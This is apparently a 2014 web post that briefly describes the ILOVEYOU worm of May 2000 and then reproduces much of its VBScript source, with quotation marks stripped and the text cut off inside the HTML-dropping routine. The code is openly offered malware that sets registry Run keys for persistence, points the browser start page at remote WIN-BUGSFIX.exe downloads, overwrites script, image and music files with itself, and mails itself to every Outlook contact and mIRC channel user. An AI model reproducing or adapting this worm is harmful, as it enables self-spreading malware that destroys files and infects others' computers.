I Love You (virus) *************** ILOVEYOU, sometimes referred to as Love Letter, was a computer worm that attacked tens of millions of Windows personal computers on and after 5 May 2000[1] local time in the Philippines when it started spreading as an email message with the subject line ILOVEYOU and the attachment LOVE-LETTER-FOR-YOU.txt.vbs. The latter file extension (in this case, VBS - a type of interpreted file) was most often hidden by default on Windows computers of the time, leading unwitting users to think it was a normal text file. Opening the attachment activated the Visual Basic script. The worm did damage on the local machine, overwriting image files, and sent a copy of itself to the first 50 addresses in the Windows Address Book used by Microsoft Outlook. Source Code - rem barok -loveletter(vbe) rem by: spyder / ispyder@mail / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq= ctr=0 Set fso = CreateObject(Scripting.FileSystemObject) set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject(WScript.Shell) rr=wscr.RegRead(HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout) if (rr>=1) then wscr.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout,0,REG_DWORD end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&\MSKernel32.vbs) c.Copy(dirwin&\Win32DLL.vbs) c.Copy(dirsystem&\LOVE-LETTER-FOR-YOU.TXT.vbs) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32,dirsystem&\MSKernel32.vbs regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL,dirwin&\Win32DLL.vbs downread= downread=regget(HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory) if (downread=) then downread=c:\ end if if (fileexist(dirsystem&\WinFAT32.exe)=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe elseif num = 2 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe elseif num = 3 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe elseif num = 4 then regcreate HKCU\Software\Microsoft\Internet Explorer\Main\Start Page,skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe end if end if if (fileexist(downread&\WIN-BUGSFIX.exe)=0) then regcreate HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX,downread&\WIN-BUGSFIX.exe regcreate HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page,about:blank end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&\) end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext=vbs) or (ext=vbe) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=js) or (ext=jse) or (ext=css) or (ext=wsh) or (ext=sct) or (ext=hta) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&\&bname&.vbs) fso.DeleteFile(f1.path) elseif(ext=jpg) or (ext=jpeg) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&.vbs) fso.DeleteFile(f1.path) elseif(ext=mp3) or (ext=mp2) then set mp3=fso.CreateTextFile(f1.path&.vbs) mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eqfolderspec) then if (s=mirc32.exe) or (s=mlink32.exe) or (s=mirc.ini) or (s=script.ini) or (s=mirc.hlp) then set scriptini=fso.CreateTextFile(folderspec&\script.ini) scriptini.WriteLine [script] scriptini.WriteLine ;mIRC Script scriptini.WriteLine ; Please dont edit this script... mIRC will corrupt, if mIRC will scriptini.WriteLine corrupt... WINDOWS will affect and will not run correctly. thanks scriptini.WriteLine ; scriptini.WriteLine ;Khaled Mardam-Bey scriptini.WriteLine ;mirc scriptini.WriteLine ; scriptini.WriteLine n0=on 1:JOIN:#:{ scriptini.WriteLine n1= /if ( $nick == $me ) { halt } scriptini.WriteLine n2= /.dcc send $nick &dirsystem&\LOVE-LETTER-FOR-YOU.HTM scriptini.WriteLine n3=} scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject(WScript.Shell) regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject(WScript.Shell) regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject(WScript.Shell) set out=WScript.CreateObject(Outlook.Application) set mapi=out.GetNameSpace(MAPI) for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead(HKEY_CURRENT_USER\Software\Microsoft\WAB\&a) if (regv=) then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad= regad=regedit.RegRead(HKEY_CURRENT_USER\Software\Microsoft\WAB\&malead ) if (regad=) then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = ILOVEYOU male.Body = vbcrlf&kindly check the attached LOVELETTER coming from me. male.Attachments.Add(dirsystem&\LOVE-LETTER-FOR-YOU.TXT.vbs) male.Send regedit.RegWrite HKEY_CURRENT_USER\Software\Microsoft\WAB\&malead,1,REG_DWORD end if x=x+1 next regedit.RegWrite HKEY_CURRENT_USER\Software\Microsoft\WAB\&a,a.AddressEntries.Count else regedit.RegWrite HKEY_CURRENT_USER\Software\Microsoft\WAB\&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=LOVELETTER - HTML
Posted on: Wed, 15 Jan 2014 17:05:35 +0000
Trending Topics
Recently Viewed Topics
© 2015